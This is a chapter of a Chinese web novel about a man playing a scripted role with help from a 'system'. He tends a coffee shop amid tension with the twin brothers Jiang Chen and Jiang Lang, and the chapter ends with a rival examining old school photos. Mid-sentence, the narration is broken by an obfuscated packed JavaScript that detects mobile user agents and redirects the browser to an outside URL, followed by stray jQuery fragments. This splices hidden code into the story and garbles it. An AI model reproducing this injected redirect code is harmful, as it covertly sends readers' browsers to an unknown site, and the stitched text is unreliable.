手冲壶中细细的水流划过最后一圈。
容昀枢如释重负,放下手冲壶,“还好我手法熟练,不然一心二用冲坏了翡翠瑰夏,那可真是暴殄天物。”
“嗯,香气很完美。”江琅把冲好的咖啡放到托盘,状似不经意地问,“我哥那边,你不需要回个电话吗?”
容昀枢瞥了一眼手机屏幕,“没事,他经常这样,大概有什么重要工作。习惯了。”
江琛就是这样的性格,说完该说的话就直接挂断电话,从来不闲聊。原来的“容昀枢”会打电话过去,现在不会。
因为他是在治病中的容昀枢。
容昀枢很快把这个小插曲抛到脑后,问:“江琅,冰箱里有新鲜春桃做的慕斯,你要不要尝尝?”
“好。”
容昀枢转身走进操作间,春桃慕斯只是个半成品,还需要做一些小小的装饰。
江琅端着托盘回到座位等待。
他是个行动派,向来讨厌等待。
但与容昀枢有关的一切不一样。
咖啡店和他想象中的一样美好,店内的各种摆设和小细节,都处处都是容昀枢留下的痕迹。
他曾经在店外想象过一遍又一遍真正走进咖啡店的感觉,远远不及此刻的百分之一。
就在这时,门口的风铃不合时宜地响了一下。
有客人来了?
江琅转头,却看到了他的哥哥。
江琛没穿外套,在工作时间出现在了咖啡店门口。一看就是放下电话后,匆匆下楼。
“江琅,这个蛋糕的造型是我在云省找豆子时构思画的……江琛?你怎么来了?”
容昀枢从吧台走出来,声音在发现江琛的瞬间变得柔软,还夹杂着丝丝缕缕甜蜜的情意。
江琅曾经以为那是因为容昀枢爱江琛,爱得几乎失去自我。
但在看见那份诊断报告后,他觉得容昀枢与其说是爱江琛,不如说是披着一个“深爱江琛”的外壳。
这个外壳似乎坚不可破,但江琅已经窥见遍布其上的裂缝。
或许再做点什么,他就能撕破这层虚假的外壳。
“我来喝咖啡。”江琛走过来,似乎才刚发现江琅的存在,“江琅?你怎么在这。”
江琅回了同样的一句话。
“我来喝咖啡。”
该说不愧是双胞胎兄弟吗,这么有默契。
容昀枢端着慕斯蛋糕走过去,放在桌子上,“江琛,你要不先坐下?我进去给你准备。”
慕斯最外层的浅粉色如刚刚绽放的桃花花瓣,向内逐渐沉淀为蜜桃果肉般的粉橘色,整份甜品的轮廓恰好是饱满的心形。
江琛盯着慕斯看了片刻,问:“江琅,你不是从来不吃甜品?”
“以前不吃,现在吃。”江琅拿起手机,拍了一张照片留作纪念,才拿起勺子挖下一小块送进嘴里。
江琛皱眉,又问:“昀枢,这个慕斯是新品?”
容昀枢一愣,糟糕,他怎么把这事给忘了。
这春桃慕斯不是普通的新品,而是以前他经常用来讨好江琛的小惊喜。
江琛是个工作狂,除了工作基本就只有甜点这个小爱好。
容昀枢按照剧本人设,每年都会精心设计几款甜品只给江琛吃。
春桃慕斯就是今年的第一款“江琛特供”,不久前他才把设计草图发给过江琛。
对于容昀枢来说,发设计草图这件事发生在很久之前,又是不重要的小细节,自然想不起来。
容昀枢赶紧在脑中问:[系统,完蛋了,我不会崩人设了吧?]
系统:[未检测到人设偏离。]
容昀枢放下心来,决定假装没有春桃慕斯这回事。
江琛工作忙,昨天童书言又刚回国,这些事足以占据他全部的心神,怎么还能想起一份小小的春桃慕斯呢。
容昀枢:“嗯,是新品。对了,马上就吃中饭了,你不是习惯下午上班前才喝咖啡吗?”
江琛没有再江琅对面坐下,而是坐在吧台旁边,“老样子,咖啡和甜品,打包上去。”
“好。”容昀枢继续装傻,“打包什么甜品?”
“玛德琳蛋糕。”江琛又看了一眼江琅。
碟子空空如也,他那个不喜欢甜食的弟弟,已经把整块慕斯吃得一干二净。
江琛还是忍不住问:“这个慕斯,造型和你上次发的设计图……”
话未说完,容昀枢放在吧台上的手机响了起来。
这信息真是来得恰到好处,容昀枢直接点开,借此打断江琛的问题。
以江琛的性格,被打断后就不会再问,毕竟只是个不重要的甜品。
信息是屈凌阳发的,内容是一段音频。
屈凌阳似乎把他当成备忘录用,时不时会发些Demo片段过来。
容昀枢已经习惯这种抽风行为,一般情况下他不会点开,但现在情况不一般。
他点开了音频,却忘记手机正连着咖啡店的蓝牙音响。
江琛听过这段旋律,是他和童书言定情的钢琴曲。
十七岁那年,童书言在学校元旦晚会上弹了这首曲子,用来隐晦地向江琛告白。熟悉的旋律被填入全新的词句,而演唱的声音来自他的好友屈凌阳。
“屈凌阳发这个给你做什么?”
容昀枢翻转手机给江琛看,解释道:“大概是把我当备忘录用了,怎么了?”
屏幕上的对话框里,满满都是屈凌阳单方面发送的音频链接。除此之外,屈凌阳没有多余的话语,容昀枢从来没有回复。
“江琛,我觉得这首歌挺好听的。”容昀枢露出个单纯的笑,“你觉得呢?”
江琛带着几分狼狈,移开视线,“我待会还有事,麻烦快点。”
容昀枢乖乖点头,开始磨豆冲咖啡。
期间,没有人说话,只有蓝牙音响反复播放着屈凌阳的那曲短短几十秒的吉他弹唱。
在第三遍播放的时候,江琛忍无可忍,说:“昀枢,把这首歌关了。”
“呵。”
江琛循着笑声看去,却看见江琅挑眉说了一句。
“我也觉得这首歌挺好听的。”
“……”
“江琛,咖啡好了。”
容昀枢拿出牛皮纸袋打包,又在上面写下打包时间和建议食用时间。
江琛工作太忙,有时打包过去的东西一放就是大半天。为了提醒他,容昀枢就有了在纸袋上写备注的习惯。
江琛看着容昀枢落下最后一笔,又挑了一支郁金香放入袋中。
一切看似与以往的每天一样,悄然间却又有些微妙的变化。
突然出现的江琅,他没能吃到的咖啡店新甜品,还有屈凌阳莫名其妙发过来的歌,似乎一切都在失控。
江琛拿过纸袋,带着几分茫然,走向门口。
“江琅,这边中午只有简餐供应,三明治可以吗?”
“都行,我不挑食。”
江琛猛地停了下来,冷声说:“江琅,跟我一起上去。”
“会议不是两点才开始?”
“上去准备一下,你这身衣服不适合出席会议。”
江琅向来我行我素,并不打算听江琛的。他正准备拒绝,却从门口玻璃的倒影中看到了江琛。
江琛的脸上,满是阴沉和审视。
江琛起身,对容昀枢说:“我先走了,谢谢你的咖啡和慕斯。”
咖啡店重归平静。
容昀枢慢悠悠地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694904|173408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给自己冲了杯咖啡,窝在沙发上,慢悠悠地啃着三明治。
[系统,查询任务进度。]
系统:[任务进度,20%。刚刚发生了什么?任务进度怎么一下子前进这么多?]
容昀枢:[打包给江琛的那杯咖啡,我故意没盖好盖子。]
系统:[啊?没盖好盖子怎么了?]
容昀枢:[根据之前的剧本,童书言这个时间应该在江琛办公室,玛德琳蛋糕是他喜欢的甜品。]
桌上的手机屏幕亮起,显示来电人是屈凌阳。
容昀枢没接,继续和系统交流。
[江琛要我打包玛德琳蛋糕,肯定是给童书言吃的。蛋糕要配咖啡的,童书言只要一喝咖啡,就会泼一身,接着就能顺理成章地借用江琛办公室的浴室了,多好的感情升温契机啊。]
系统:[你这招也太高明了,怪不得你任务完成率这么高,是这批新人里第一个快要晋级的。]
[那当然。]
容昀枢得意地眯了眯眼睛,才看向再次亮起的手机屏幕。
屈凌阳:[回信息。]
容昀枢:[回什么?]
屈凌阳:[#无语,歌你听了没?我昨晚通宵录出来的DEMO,改了词,你听完就没想起从前的事?比如,你高中时暗恋的人。]
容昀枢:[没有。]
屈凌阳似乎闲得无聊,东拉西扯,话题始终围绕着高中时期。容昀枢有一句没一句地回着,终于让屈凌阳失去耐心,直接问了一句。
[你高中是在哪里读的?]
没想到,这个问题居然是屈凌阳先问出来的。也行,都一样。
容昀枢:[为什么这么问?你很关心我?]
屈凌阳:[你想多了!谁有空关心你!别自作多情!]
发来这么一句后,屈凌阳没了动静。
系统忍不住问:[你干嘛不直接告诉他,这不是个好机会吗?]
容昀枢:[屈凌阳那个性格,直接告诉他不一定会相信,不告诉他他反而会一心去查的。]
***
录音室沉浸在柔和的暖色光晕之中,隔音棉将窗外最后一丝鸟鸣都吸附殆尽。
屈凌阳盘腿坐在地毯上,脚边散落了一地照片。
他原本只是想通过高中时期的旧照片激发灵感,没想到却在这堆照片中看到一个和容昀枢有几分相像的人。
那人不是照片中主角,再加上体型偏胖,戴着黑框眼镜,刘海耷拉在额前,几乎难以看清五官。
说实话,这人和现在的容昀枢几乎看不出任何相似的地方,可他总觉得有点像。
屈凌阳再次拿起照片,几乎贴到眼前仔细端详。
照片中的人正弯腰搬矿泉水,衣服往上缩了一截,露出后腰处一块淡色胎记。
正是这块胎记,让屈凌阳联想到了容昀枢。
昨晚在电梯里纠缠的时候,混乱中他看到容昀枢后腰有一块胎记,形状很特别,像是一弯细细的月牙。
屈凌阳左看右看,始终无法从模糊的照片中确认那人的胎记是不是同样的形状。
烦死了,当年到底是谁拿的破手机拍照,就不知道用个单反?
屈凌阳抓起手机,下意识点开置顶联系人,想要再次打电话逼问容昀枢。
手指没按下,他又想起挂断电话前容昀枢说的话。
啧,这两天联系似乎确实有些频繁,都让恋爱脑产生错觉了,谁会关心他啊!
屈凌阳果断拨通了另一个人的电话。
“喂,老唐,我记得博雅百年校庆的筹备是你的公司接的?”
“没什么,写歌没灵感,想去校史馆翻翻当初我们的照片。”
“嗯,好,谢了。”